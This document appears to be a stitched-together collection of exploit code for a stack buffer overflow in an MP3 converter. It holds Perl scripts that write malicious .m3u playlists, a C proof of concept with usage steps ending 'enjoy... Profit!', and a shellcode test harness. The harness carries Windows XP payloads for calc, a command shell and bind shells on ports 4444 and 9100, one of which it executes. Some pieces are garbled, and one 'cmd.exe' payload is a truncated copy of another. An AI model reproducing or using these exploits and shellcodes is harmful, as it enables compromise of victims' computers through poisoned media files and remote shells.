my $file= "eipcrash.m3u";
my $junk= "\x41" x 26056;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

my $file= "exploitrmtomp3.m3u";
 
my $junk= "\x41" x 26056;
my $eip = "\x3A\xF2\x1B\x10";
 
my $shellcode = "\x90" x 25;
 
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
 
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

my $eip = pack('V',0x101BF23A);
my $eip = pack('V',0x10093F0F);
my $eip = pack('V',0x00000000);

/*
  POC
  EasyRMPxploit.c
  MrPoor akelarregh@gmail.com
  5/11/2009
 
  Lets' go:
  1. First, use junk to generate a file with uniques strings so you
  cand find the exact string that overwrite the ip.
 
  gcc -o junk junk.c
  junk > exploit-0.1.m3u

  2. Open EasyRM exploit-0.1.m3u with Ollydbg
  and see what number of the junk file that is overwriting the EIP register.
  The number is in HEX of course, so yo can open the exploit-0.1.m3u
  with an hex editor or with a notepad and search for the decimal equivalent.

  To find the numbers of bytes of A'es do wc exploit-01.m3u to find the bytes
  if you have Cygwin (or Linux). Other ways are right click, propiertys and see
  the size in bytes in windows.
 
  3. Modify the for and compile the exploit.
  Compiling the exploit (Compiled wid Dev-C++ 4.9.9.2
  gcc -o easyRMPxploit EasyRMPxploit.c
 
  Examples:
  exploit >> davidvisbal.m3u
  exploit >> shakira.ram
 
  The exploit add 4 bytes more for alignment the shellcode in the begining
  of the ESP register.

  Open davidvisbal.m3u with EasyRM and enjoy

  Profit!
  MrPoor
 
  November 3, 2009. Spain.

*/
#include <stdio.h>
#define JUNK 35015

int main (void){
   
    int i=1;
    char a='A';
   
    // Generating A'es for fill
    for (i;i<=JUNK;i++){
      printf ("%c", a);   
    }
   
     // POC. Windows Calc Windows XP SP3 in spanish.
     char shellcode [] =
     "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
     "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
     "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
     "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
     "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
     "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
     "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
     "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
     "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
     "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
     "\x7f\xe8\x7b\xca";

    // POC. Cmd Shell for Windows XP SP3 in spanish.
    char shellcode2[] =
     "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
     "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
     "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
     "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
     "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3"; 

     // Call esp 0x7c736a08 en kernel32.dll (finjmp). (Windows XP SP3 Spanish)
     printf ("\x08\x6a\x83\x7c\x41\x41\x41\x41"); // This works ok.
     
     // jmp esp                             (findjmp)
     //printf ("\x3A\xF2\x1B\x10\x41\x41\x41\x41"); // This don't work. I don't know why
     
     printf ("%s", shellcode);   
}

#include <stdio.h>

int main (void){
    int i=0;
    int max=10000;
   
    for (i;i<=max;i++){
       printf ("%X", i);   
    }   
}

08048080 <.text>:
8048080: bb 00 00 00 00 mov $0x0,%ebx
8048085: b8 01 00 00 00 mov $0x1,%eax
804808a: cd 80 int $0x80

08048080 <.text>:
8048080: 31 db xor %ebx,%ebx
8048085: b0 01 mov $0x1,%al
804808a: cd 80 int $0x80

/**
 * Este programa prueba las distintas shellcodes
 * y verifica su funcionamiento.
 */

#include <stdio.h>

int main (void){
    char shellcode1[] =
        "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\
"\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\
"\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\
"\xff\x48\x65\x79\x4e";

     // POC. Windows Calc Windows XP SP3 in spanish. Funciona ok.
     char shellcode2 [] =
     "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
     "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
     "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
     "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
     "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
     "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
     "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
     "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
     "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
     "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
     "\x7f\xe8\x7b\xca";

  // cmd.exe
  char shellcode3[]=
    "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
    "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
    "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
    "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
    "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
    "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
    "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
    "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
    "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
    "\x7f\xe8\x7b\xca";

    // Bind shell code shell code on port 4444
    // nc ip.ip.ip.ip 44444. Funciona correctamente.
char shellcode4[] =
"\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81"
    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
    
    
    // POC. Local Cmd Shell for Windows XP SP3 in spanish.
    char shellcode5[] =
     "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
     "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
     "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
     "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
     "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";      

     // Bind shell code. Cmd shell on 9100 port, by RaiSe <raise@enye-sec.org>.    Funciona.     correctamente
     // nc ip.ip.ip.ip 9100
     char shellcode6[] =
    "\xeb\x08\x90\x90\x90\xeb\x08\x90\x90\x90\xe8\xf6\xff\xff\xff\x58\x66\x05\xaa"
    "\x01\x8b\xd8\x24\xfc\x8d\x80\xac\xfd\xff\xff\x8b\xe8\x8d\x80\xac\xfe\xff\xff"
    "\x8b\xe0\x89\x5d\x10\x32\xd2\x88\x53\x0e\x88\x53\x1b\x88\x53\x26\x88\x53\x31"
    "\x88\x53\x3c\x88\x53\x41\x88\x53\x48\x88\x53\x4f\x88\x53\x5e\x88\x53\x6a\x88"
    "\x53\x6e\x33\xd2\xb2\x30\x64\x8b\x1a\x8b\x5b\x0c\x8b\x5b\x0c\x8b\x1b\x8b\x1b"
    "\x8b\x5b\x18\x89\x5d\x14\x8b\x7b\x3c\x03\xfb\x8b\x57\x78\x03\xd3\x8d\x4a\x1f"
    "\x41\x8b\x01\x03\xc3\x33\xc9\x52\x8b\xd3\x50\x5b\x33\xc0\xfc\x8b\x3b\x03\xfa"
    "\x8b\x75\x10\x33\xc9\xb1\x0e\xf3\xa6\x74\x0b\x90\x90\x90\x90\x83\xc3\x04\x40"
    "\xeb\xe7\x90\x5a\x8b\xc8\x8b\x45\x14\x8b\x5a\x24\x03\xd8\x33\xff\x66\x8b\x3c"
    "\x4b\x8b\x4a\x1c\x03\xc8\x8b\x34\xb9\x03\xf0\x89\x75\x18\x8b\x5d\x10\x8d\x5b"
    "\x0f\x53\x8b\x4d\x14\x51\xff\xd6\x8d\x5b\x0c\x43\x53\xff\xd0\x89\x45\x1c\x8b"
    "\xfb\x8b\xd0\x8d\x5d\x24\x33\xc9\xb1\x07\x51\x33\xc9\x49\x32\xc0\xf2\xae\x52"
    "\x57\x52\x8b\x75\x18\xff\xd6\x5a\x89\x03\x43\x43\x43\x43\x59\x80\xf9\x03\x75"
    "\x07\x90\x90\x90\x90\x8b\x55\x14\xe2\xda\x8d\x95\xfc\xfd\xff\xff\x52\x33\xd2"
    "\x66\xba\x01\x01\x52\x8b\x5d\x24\xff\xd3\x33\xd2\x52\x52\x52\x52\x42\x52\x42"
    "\x52\x8b\x5d\x28\xff\xd3\x89\x45\x40\x33\xd2\x52\x66\xba\x23\x8c\x66\x52\x66"
    "\x33\xd2\xb2\x02\x66\x52\x8b\xdc\xb2\x16\x52\x53\x50\x8b\x75\x2c\xff\xd6\x33"
    "\xd2\xb2\x05\x52\x8b\x55\x40\x52\x8b\x75\x30\xff\xd6\x33\xd2\xb2\x16\x52\x54"
    "\x8d\x55\xb0\x52\x8b\x55\x40\x52\x8b\x75\x34\xff\xd6\x8b\xf0\x33\xc9\x66\xb9"
    "\x21\x01\x66\x49\x8d\xbd\xb0\xfe\xff\xff\x33\xc0\xf3\xaa\x8d\xbd\xb0\xfe\xff"
    "\xff\xc6\x07\x44\x89\x77\x38\x89\x77\x3c\x89\x77\x40\x66\xc7\x47\x2c\x01\x01"
    "\x8d\x95\xb0\xfe\xff\xff\x8d\x52\xac\x52\x57\x33\xd2\x52\x52\x52\x42\x52\x4a"
    "\x52\x52\x8b\x7d\x10\x8d\x7f\x6b\x57\x52\x8b\x75\x38\xff\xd6\x33\xd2\x52\x8b"
    "\x75\x3c\xff\xd6\x47\x65\x74\x50\x72\x6f\x63\x41\x64\x64\x72\x65\x73\x73\x08"
    "\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79\x41\x08\x77\x73\x32\x5f\x33\x32"
    "\x2e\x64\x6c\x6c\x08\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x08\x57\x53\x41"
    "\x53\x6f\x63\x6b\x65\x74\x41\x08\x62\x69\x6e\x64\x08\x6c\x69\x73\x74\x65\x6e"
    "\x08\x61\x63\x63\x65\x70\x74\x08\x43\x72\x65\x61\x74\x65\x50\x72\x6f\x63\x65"
    "\x73\x73\x41\x08\x45\x78\x69\x74\x50\x72\x6f\x63\x65\x73\x73\x08\x63\x6d\x64"
    "\x08";    

  int (*func)();
  func = (int (*)()) shellcode6;
  (int)(*func)();
}